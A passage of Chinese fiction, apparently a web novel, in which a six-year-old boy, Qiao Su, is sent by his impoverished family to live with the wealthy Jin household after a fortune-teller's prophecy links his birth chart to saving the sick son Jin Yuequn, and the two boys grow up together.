靳母哭成了泪人,她猛然想起来早年那个算命瞎子说的话,她把当时记得的八字翻出来,叫靳父去找,靳父当然不信这些,但看靳母人都快哭昏过去,只好让堂弟去。 当天晚上还真找到一个,他堂弟说,就在隔壁平曲县,孩子叫乔苏,六岁,生辰八字都能对得上,现在在来的路上了。 也是奇了,乔苏前脚刚到医院,后脚靳越群的烧就慢慢退了。 虽然靳父觉得纯属巧合,但经过这场儿子差点迈进鬼门关的事,靳母是信了那个瞎子说的话,有凤凰命的人能护着他儿子的命。 乔苏的亲妈死的早,他是继母养大的,他继母当年插队到这儿的,后来走不了,才嫁给乔父,又生了一对龙凤胎,那时候各家各户都穷的揭不开锅,她就更不喜欢乔苏这个隔肚皮的大儿子。 听到安县那边有人说想把乔苏接过去养,平常能回家,还会认他们爹妈,关键是还另给一套铺面,还出钱给他们翻新房,盖一幢二层小楼。 这简直就是天上掉馅饼的大好事…! 当时家里仅靠着乔父那点微薄的教书钱也根本养不起三个嗷嗷待哺的孩子,于是一切似乎都变得“顺理成章”,乔父就这么把乔苏送出去了。 当时乔苏才六岁,什么也不懂,乔父跟他说去了靳家,就能过好日子,不用再饿肚子。 乔苏就抱着‘不饿肚子’的心,坐上了他从没见过的小轿车,一个人来到了陌生的靳家。 想起第一次见到靳越群时,乔苏的头就有点疼,大概是那时太小了,想不起来了。 他们念小学时,靳父在城里的生意做大,去了汉城,同年,靳母和靳父离了婚。 靳母一个行李箱,回来抱了抱靳越群和乔苏,远赴他们从未听说过的美国。 三年后,靳父再婚,他很少回来,乔苏开始的时候也经常回乔家,但他总是待没一会儿,乔父和他继母就催着他赶紧回去,好像乔苏多在家里待一秒,那一幢新房和铺面就要收回去似的。 所以后来他有时候也不回了,他和靳越群就在这儿,不知不觉地度过了许多春夏秋冬。